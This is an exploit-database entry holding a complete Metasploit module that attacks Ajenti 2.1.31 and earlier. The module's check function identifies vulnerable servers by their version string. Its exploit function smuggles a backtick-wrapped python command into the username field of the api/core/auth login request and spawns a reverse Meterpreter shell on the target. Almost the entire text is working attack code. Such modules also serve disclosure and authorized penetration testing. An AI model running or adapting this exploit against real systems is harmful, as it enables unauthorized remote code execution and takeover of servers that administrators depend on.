Ajenti 2.1.31 Remote Code Execution

`# Exploit Title: Ajenti 2.1.31 - Remote Code Exection (Metasploit)  
# Date: 2019-10-29  
# Exploit Author: Onur ER  
# Vendor Homepage: http://ajenti.org/  
# Software Link: https://github.com/ajenti/ajenti  
# Version: 2.1.31  
# Tested on: Ubuntu 19.10  
  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Ajenti 2.1.31 Remote Code Execution",  
'Description' => %q{  
This module exploits a command injection in Ajenti <= 2.1.31.  
By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.  
},  
'Author' => [  
'Jeremy Brown', # Vulnerability discovery  
'Onur ER <[email protected]>' # Metasploit module  
],  
'References' => [  
['EDB', '47497']  
],  
'DisclosureDate' => '2019-10-14',  
'License' => MSF_LICENSE,  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Privileged' => false,  
'Targets' => [  
[ 'Ajenti <= 2.1.31', {} ]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8000,  
'SSL' => 'True',  
'payload' => 'python/meterpreter/reverse_tcp'  
},  
'DefaultTarget' => 0  
))  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "/view/login/normal"  
})  
if res and res.code == 200  
if res.body =~ /'ajentiVersion', '2.1.31'/  
return Exploit::CheckCode::Vulnerable  
elsif res.body =~ /Ajenti/  
return Exploit::CheckCode::Detected  
end  
end  
vprint_error("Unable to determine due to a HTTP connection timeout")  
return Exploit::CheckCode::Unknown  
end  
  
  
def exploit  
print_status("Exploiting...")  
random_password = rand_text_alpha_lower(7)  
json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",  
'password' => random_password,  
'mode' => 'normal'  
}  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),  
'ctype' => 'application/json',  
'data' => JSON.generate(json_body)  
})  
end  
end  
`